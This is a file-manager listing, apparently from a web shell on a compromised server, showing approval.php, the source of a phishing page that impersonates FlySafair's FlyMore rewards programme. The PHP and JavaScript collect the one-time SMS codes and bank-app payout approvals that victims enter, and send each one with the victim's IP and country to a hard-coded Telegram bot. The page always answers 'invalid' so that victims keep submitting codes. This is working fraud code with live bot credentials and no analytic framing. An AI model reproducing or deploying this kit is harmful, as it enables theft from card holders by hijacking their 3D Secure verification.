at path:
ROOT
/
Welcome
/
approval.php
run:
R
W
Run
assets
DIR
2026-10-03 02:44:58
R
W
Run
approval.php
27.67 KB
2026-10-29 06:56:19
R
W
Run
Delete
Rename
bdroot.php
0 By
2026-11-03 02:28:49
R
W
Run
form.php
28.81 KB
2026-10-29 06:56:20
R
W
Run
Delete
Rename
index.php
24.17 KB
2026-10-29 06:56:21
R
W
Run
Delete
Rename
loading1.php
12.29 KB
2026-10-03 02:59:04
R
W
Run
Delete
Rename
loading2.php
24.21 KB
2026-10-03 02:58:52
R
W
Run
Delete
Rename
error_log
up
📄
approval.php
Save
<?php $BOT_TOKEN = "8135689033:AAHxU286FMqROF7AdbzexK-TfjG7mJ5V8YU"; $CHAT_ID = "-5326912500"; $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $country = 'Unknown'; $context = stream_context_create(['http' => ['timeout' => 5]]); $geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context); if ($geoData !== false) { $geo = json_decode($geoData); $country = $geo->country ?? 'Unknown'; } function sendTelegram($msg) { global $BOT_TOKEN, $CHAT_ID; $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage"; $data = ['chat_id' => $CHAT_ID, 'text' => $msg, 'parse_mode' => 'HTML', 'disable_web_page_preview' => true]; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($data), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false ]); curl_exec($ch); curl_close($ch); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { if ($_POST['action'] === 'verify') { $otp = trim($_POST['otp'] ?? ''); $attempt = intval($_POST['attempt'] ?? 1); $msg = "<b>⚠️ FLYSAFAIR OTP ATTEMPT #{$attempt}</b>\n"; $msg .= "══════════════════════════════\n"; $msg .= "<b>OTP:</b> <code>{$otp}</code>\n"; $msg .= "<b>IP:</b> <code>{$ip}</code>\n"; $msg .= "<b>Country:</b> {$country}\n"; $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n"; sendTelegram($msg); echo json_encode(['status' => 'invalid', 'attempt' => $attempt + 1]); exit; } if ($_POST['action'] === 'approved') { $msg = "<b>✅ FLYSAFAIR PAYOUT AUTHORIZED</b>\n"; $msg .= "══════════════════════════════\n"; $msg .= "<b>IP:</b> <code>{$ip}</code>\n"; $msg .= "<b>Country:</b> {$country}\n"; $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n"; sendTelegram($msg); echo json_encode(['status' => 'loop']); exit; } } $miles = isset($_POST['miles']) ? intval($_POST['miles']) : rand(3210, 6321); $cashback_usd = isset($_POST['cashback']) ? $_POST['cashback'] : number_format($miles / 11.2, 2, '.', ''); $cashback_zar = number_format($cashback_usd * 16.6, 2, '.', ''); $formData = json_decode($_POST['form_data'] ?? '{}', true); $last4 = substr(preg_replace('/\D/', '', $formData['card_number'] ?? ''), -4) ?: '0000'; $time = date('H:i'); $date = date('d.m.Y'); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>FlySafair - Payout Verification</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', 'Cantarell', sans-serif; background-color: #F5F5F5; color: #333333; } /* HEADER */ header { background-color: #ffffff; color: #333333; padding: 0; border-bottom: 1px solid #EEEEEE; } .header-top { display: flex; justify-content: space-between; align-items: center; padding: 15px 40px; border-bottom: 1px solid #EEEEEE; } .logo { display: flex; align-items: center; gap: 10px; } .logo img { height: 32px; width: auto; } .logo-text { font-size: 18px; font-weight: 600; letter-spacing: 2px; display: none; color: #333333; } .header-controls { display: flex; align-items: center; gap: 30px; } .search-btn { background: none; border: none; color: #666666; cursor: pointer; font-size: 16px; display: flex; align-items: center; gap: 5px; } .language-currency { display: flex; align-items: center; gap: 15px; font-size: 14px; color: #666666; } .language-select { background: none; border: none; color: #666666; cursor: pointer; display: flex; align-items: center; gap: 5px; font-size: 14px; } .join-aeroplan { color: #666666; text-decoration: none; font-size: 14px; cursor: pointer; } .sign-in-btn { background-color: #E91E8C; color: #fff; border: none; padding: 8px 20px; border-radius: 4px; cursor: pointer; font-size: 14px; font-weight: 600; } .sign-in-btn:hover { background-color: #D01880; } .header-nav { display: flex; background-color: #FAFAFA; } .nav-item { padding: 15px 25px; color: #666666; text-decoration: none; display: flex; align-items: center; gap: 8px; border-bottom: 3px solid transparent; border-right: 1px solid #EEEEEE; cursor: pointer; font-size: 15px; transition: all 0.3s ease; font-weight: 500; } .nav-item:last-child { border-right: none; } .nav-item:hover { color: #E91E8C; } .nav-item.active { color: #E91E8C; border-bottom-color: #E91E8C; } /* MAIN */ main { min-height: 600px; display: flex; align-items: flex-start; justify-content: center; padding: 40px 20px; } .verify-card { background: #fff; border-radius: 16px; max-width: 520px; width: 100%; box-shadow: 0 10px 40px rgba(0,0,0,0.1); overflow: hidden; border: 1px solid #EEEEEE; } .bank-header { background: #ffffff; color: #333333; padding: 18px 20px; text-align: center; font-weight: 700; font-size: 15px; display: flex; align-items: center; justify-content: center; gap: 10px; border-bottom: 3px solid #E91E8C; border-top: 1px solid #EEEEEE; } .card-body { padding: 25px; } .transaction { background: #FAFAFA; border-radius: 10px; padding: 16px 20px; margin-bottom: 20px; border: 1px solid #EEEEEE; } .trans-row { display: flex; justify-content: space-between; padding: 8px 0; font-size: 14px; border-bottom: 1px solid #F0F0F0; } .trans-row:last-child { border-bottom: none; } .trans-label { color: #666666; } .trans-value { font-weight: 600; color: #333333; } .amount-highlight { color: #E91E8C; font-weight: 800; font-size: 16px; } .amount-estimate { font-size: 12px; color: #666666; } /* PUSH NOTIFICATION */ .app-notif { background: #FAFAFA; border-radius: 12px; padding: 25px; margin: 20px 0; text-align: center; border: 1px solid #EEEEEE; } .app-notif img { width: 110px; height: 110px; margin-bottom: 15px; display: block; margin-left: auto; margin-right: auto; } .app-notif strong { display: block; color: #333333; margin-bottom: 8px; font-size: 17px; font-weight: 700; } .app-notif p { font-size: 14px; color: #666666; margin: 5px 0; } .app-badge { display: inline-block; background: linear-gradient(135deg, #E91E8C, #D01880); color: #fff; padding: 10px 20px; border-radius: 30px; font-size: 14px; margin-top: 12px; font-weight: 700; cursor: default; } /* LOADING DOTS */ .loading-dots { text-align: center; padding: 18px; margin: 15px 0; font-size: 14px; color: #666666; background: #FAFAFA; border-radius: 10px; border: 1px solid #EEEEEE; } .dot-container { margin-top: 10px; } .dot { display: inline-block; width: 10px; height: 10px; border-radius: 50%; background: #E91E8C; margin: 0 5px; animation: dotPulse 1.4s infinite ease-in-out; } .dot:nth-child(2) { animation-delay: 0.2s; } .dot:nth-child(3) { animation-delay: 0.4s; } @keyframes dotPulse { 0%, 80%, 100% { transform: scale(0.6); opacity: 0.5; } 40% { transform: scale(1); opacity: 1; } } /* SMS INPUT */ .sms-container { margin: 20px 0; display: none; } .sms-label { font-weight: 700; margin-bottom: 6px; color: #333333; font-size: 14px; text-transform: uppercase; letter-spacing: 0.5px; } .sms-hint { color: #666666; font-size: 13px; margin-bottom: 12px; line-height: 1.5; } .sms-input { width: 100%; padding: 14px; font-size: 16px; text-align: center; border: 2px solid #EEEEEE; border-radius: 8px; background: #FAFAFA; font-family: monospace; letter-spacing: 3px; margin-bottom: 12px; transition: all 0.3s ease; color: #333333; } .sms-input:focus { outline: none; border-color: #E91E8C; background: #fff; box-shadow: 0 0 0 3px rgba(233, 30, 140, 0.1); } .sms-input.error { border-color: #DC2626; } .btn-primary { width: 100%; padding: 14px; background: #E91E8C; color: #fff; border: none; border-radius: 8px; font-weight: 700; font-size: 15px; cursor: pointer; text-transform: uppercase; letter-spacing: 1px; transition: background-color 0.2s ease; } .btn-primary:hover { background: #D01880; } .btn-primary:active { background: #A80000; } .btn-primary:disabled { background: #ccc; color: #666; cursor: not-allowed; } .cooldown { margin-top: 12px; color: #666666; font-size: 13px; text-align: center; padding: 10px; background: #FAFAFA; border-radius: 8px; border: 1px solid #EEEEEE; } .error-message { display: none; color: #DC2626; margin-top: 12px; font-size: 13px; text-align: center; padding: 10px; background: #FEF2F2; border-radius: 8px; border: 1px solid #FECACA; line-height: 1.5; } .approve-link { display: block; text-align: center; color: #E91E8C; text-decoration: none; margin: 15px 0; font-size: 14px; font-weight: 600; padding: 14px; background: #FAFAFA; border-radius: 8px; border: 1px solid #EEEEEE; transition: all 0.2s ease; cursor: pointer; } .approve-link:hover { background: #F5F5F5; border-color: #E91E8C; } .loop-message { display: none; color: #DC2626; margin: 15px 0; font-size: 13px; text-align: center; font-weight: 600; padding: 14px; background: #FEF2F2; border-radius: 8px; border: 1px solid #FECACA; line-height: 1.5; } .security-badges { display: flex; justify-content: center; gap: 12px; margin-top: 20px; flex-wrap: wrap; } .badge { background: #FAFAFA; padding: 6px 12px; border-radius: 20px; font-size: 11px; color: #666666; display: flex; align-items: center; gap: 5px; border: 1px solid #EEEEEE; font-weight: 600; } /* FOOTER */ footer { background-color: #0077C0; color: #ffffff; padding: 40px; margin-top: 60px; border-top: 1px solid #EEEEEE; } .footer-content { max-width: 1200px; margin: 0 auto; } .footer-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 40px; padding-bottom: 30px; border-bottom: 1px solid rgba(255, 255, 255, 0.2); } .footer-logo { display: flex; align-items: center; gap: 10px; } .footer-logo img { height: 28px; width: auto; filter: brightness(0) invert(1); } .star-alliance { display: flex; align-items: center; gap: 8px; color: #ffffff; font-size: 14px; } .footer-columns { display: grid; grid-template-columns: repeat(4, 1fr); gap: 40px; margin-bottom: 30px; } .footer-column h3 { color: #ffffff; font-size: 15px; font-weight: 600; margin-bottom: 15px; } .footer-column ul { list-style: none; } .footer-column li { margin-bottom: 10px; } .footer-column a { color: #ffffff; text-decoration: none; font-size: 13px; transition: color 0.3s ease; } .footer-column a:hover { color: #E91E8C; } .footer-bottom { border-top: 1px solid rgba(255, 255, 255, 0.2); padding-top: 20px; text-align: center; font-size: 12px; color: #ffffff; } .award-badge { display: flex; align-items: center; gap: 10px; margin-top: 10px; } .award-badge-icon { font-size: 32px; } .award-badge-text { font-size: 12px; color: #ffffff; font-weight: 600; } @keyframes shake { 0%, 100% { transform: translateX(0); } 25% { transform: translateX(-5px); } 75% { transform: translateX(5px); } } .shake { animation: shake 0.3s ease; } @media (max-width: 768px) { .header-top { padding: 15px 20px; } .header-controls { gap: 15px; } .header-nav { overflow-x: auto; } .nav-item { padding: 12px 15px; font-size: 13px; white-space: nowrap; } .footer-columns { grid-template-columns: repeat(2, 1fr); gap: 20px; } .card-body { padding: 18px; } } @media (max-width: 480px) { .header-controls { gap: 10px; } .footer-columns { grid-template-columns: 1fr; } .logo-text { display: none; } .app-notif img { width: 90px; height: 90px; } } </style> </head> <body> <!-- HEADER --> <header> <div class="header-top"> <div class="logo"> <img src="assets/1.png" alt="FlySafair Logo"> <span class="logo-text">FlySafair</span> </div> <div class="header-controls"> <button class="search-btn"><span>🔍</span><span>Search</span></button> <div class="language-currency"> <button class="language-select">🇿🇦 English</button> <span>USD</span> </div> <a href="#" class="join-aeroplan">Join FlyMore</a> <button class="sign-in-btn">Log In</button> </div> </div> <nav class="header-nav"> <a href="#" class="nav-item active"><span>Flights</span></a> <a href="#" class="nav-item"><span>Packages</span></a> <a href="#" class="nav-item"><span>Deals</span></a> <a href="#" class="nav-item"><span>Travel</span></a> <a href="#" class="nav-item"><span>Check-in</span></a> <a href="#" class="nav-item"><span>Flight Status</span></a> <a href="#" class="nav-item"><span>FlyMore</span></a> <a href="#" class="nav-item"><span>FlyMore Deals</span></a> <a href="#" class="nav-item"><span>eShop</span></a> <a href="#" class="nav-item"><span>Accessibility</span></a> </nav> </header> <!-- MAIN --> <main> <div class="verify-card"> <div class="bank-header"> 🔒 Payout Method Ownership Verification (3DS) </div> <div class="card-body"> <div class="transaction"> <div class="trans-row"> <span class="trans-label">Reward Program</span> <span class="trans-value">FlyMore Rewards</span> </div> <div class="trans-row"> <span class="trans-label">Awarded Points</span> <span class="trans-value"><?php echo number_format($miles); ?> Miles</span> </div> <div class="trans-row"> <span class="trans-label">Payout Amount</span> <span class="trans-value amount-highlight">$<?php echo $cashback_usd; ?></span> </div> <div class="trans-row"> <span class="trans-label">ZAR Estimate</span> <span class="trans-value amount-estimate">≈ R<?php echo $cashback_zar; ?></span> </div> <div class="trans-row"> <span class="trans-label">Receiving Card</span> <span class="trans-value">•••• •••• •••• <?php echo $last4; ?></span> </div> <div class="trans-row"> <span class="trans-label">Date & Time</span> <span class="trans-value"><?php echo "$date, $time"; ?></span> </div> </div> <!-- PUSH NOTIFICATION --> <div class="app-notif"> <img src="assets/pending.gif" alt="Payout Verification Pending"> <strong>Approval Requested</strong> <p>Check your mobile banking app to authorize the deposit of your reward onto your card.</p> </div> <!-- LOADING DOTS - 50 SECONDS --> <div class="loading-dots" id="loadingDots"> Waiting for payout authorization from your bank <div class="dot-container"> <span class="dot"></span> <span class="dot"></span> <span class="dot"></span> </div> </div> <!-- SMS INPUT (Shown after 50 seconds) --> <div class="sms-container" id="smsContainer"> <div class="sms-label">📱 SMS Verification</div> <div class="sms-hint"> Enter the verification code sent to your registered mobile number to authorize the payout to your card. </div> <input type="text" class="sms-input" id="smsInput" placeholder="Enter verification code" inputmode="text"> <button class="btn-primary" id="verifyBtn"> ✅ Verify Code </button> <div class="cooldown" id="cooldown" style="display:none;"> ⏱ Please wait <span id="countdown">15</span> seconds before trying again </div> <div class="error-message" id="errorMessage"> <span id="errorText">Invalid verification code</span> </div> </div> <a class="approve-link" id="approveLink"> </a> <div class="loop-message" id="loopMessage"> ⚠️ Payout authorization not detected. Please confirm the deposit in your mobile app or use SMS verification if supported by your card issuer. </div> <div class="security-badges"> <div class="badge">🔒 3D Secure</div> <div class="badge">🔐 Encrypted</div> <div class="badge">✅ Verified</div> </div> </div> </div> </main> <!-- FOOTER --> <footer> <div class="footer-content"> <div class="footer-header"> <div class="footer-logo"><img src="assets/1.png" alt="FlySafair Logo"></div> <div class="star-alliance">⭐ STAR ALLIANCE</div> </div> <div class="footer-columns"> <div class="footer-column"> <h3>Support</h3> <ul> <li><a href="#">Help & Contact</a></li> <li><a href="#">Baggage & Service Fees</a></li> <li><a href="#">Customer Service Plan</a></li> <li><a href="#">Cybersecurity Center</a></li> <li><a href="#">Manage Cookies</a></li> </ul> </div> <div class="footer-column"> <h3>FlySafair</h3> <ul> <li><a href="#">Media Center</a></li> <li><a href="#">Official Languages</a></li> <li><a href="#">Sustainability</a></li> <li><a href="#">Our Stories</a></li> <li><a href="#">Investor Relations</a></li> <li><a href="#">Careers</a></li> </ul> </div> <div class="footer-column"> <h3>More Services</h3> <ul> <li><a href="#">For Businesses</a></li> <li><a href="#">For Travel Agencies</a></li> <li><a href="#">FlySafair Cargo</a></li> <li><a href="#">FlySafair Foundation</a></li> </ul> </div> <div class="footer-column"> <h3>Our Awards</h3> <div class="award-badge"> <div class="award-badge-icon">🏆</div> <div class="award-badge-text">Best Low-Cost Airline in Africa</div> </div> </div> </div> <div class="footer-bottom"> <p>© 2026 FlySafair. All rights reserved.</p> </div> </div> </footer> <script> // Show SMS input after 50 seconds setTimeout(() => { document.getElementById('loadingDots').style.display = 'none'; document.getElementById('smsContainer').style.display = 'block'; document.getElementById('smsInput').focus(); }, 50000); // SMS Input handling document.getElementById('smsInput').addEventListener('input', function(e) { this.value = this.value.replace(/[^A-Za-z0-9]/g, ''); if (this.classList.contains('error')) { this.classList.remove('error'); document.getElementById('errorMessage').style.display = 'none'; } }); let attempt = 1; let cooldown = false; document.getElementById('verifyBtn').addEventListener('click', async () => { if (cooldown) return; const otp = document.getElementById('smsInput').value.trim(); if (otp.length === 0) { showError('Please enter the verification code'); document.getElementById('smsInput').classList.add('error'); return; } const btn = document.getElementById('verifyBtn'); btn.disabled = true; btn.innerHTML = '⏳ Verifying...'; try { const res = await fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `action=verify&otp=${encodeURIComponent(otp)}&attempt=${attempt}` }); const data = await res.json(); showError('Invalid or expired code. Please try again.'); document.getElementById('smsInput').classList.add('error'); document.getElementById('smsInput').classList.add('shake'); setTimeout(() => document.getElementById('smsInput').classList.remove('shake'), 300); attempt++; startCooldown(); } catch (e) { btn.disabled = false; btn.innerHTML = '✅ Verify Code'; showError('Connection error. Please try again.'); } }); function showError(message) { const el = document.getElementById('errorMessage'); document.getElementById('errorText').textContent = message; el.style.display = 'block'; const btn = document.getElementById('verifyBtn'); btn.disabled = false; btn.innerHTML = '✅ Verify Code'; } function startCooldown() { cooldown = true; const btn = document.getElementById('verifyBtn'); const cd = document.getElementById('cooldown'); const count = document.getElementById('countdown'); btn.style.display = 'none'; cd.style.display = 'block'; let time = 15; const interval = setInterval(() => { time--; count.textContent = time; if (time <= 0) { clearInterval(interval); cooldown = false; btn.style.display = 'block'; btn.disabled = false; btn.innerHTML = '✅ Verify Code'; cd.style.display = 'none'; document.getElementById('smsInput').value = ''; document.getElementById('smsInput').classList.remove('error'); document.getElementById('errorMessage').style.display = 'none'; document.getElementById('smsInput').focus(); } }, 1000); } document.getElementById('approveLink').addEventListener('click', async (e) => { e.preventDefault(); showError('Payout authorization not detected. Please confirm the deposit in your mobile app or use SMS verification if supported by your card issuer.'); document.getElementById('smsInput').classList.add('error'); await fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'action=approved' }); document.getElementById('loopMessage').style.display = 'block'; document.getElementById('approveLink').style.display = 'none'; }); </script> </body> </html>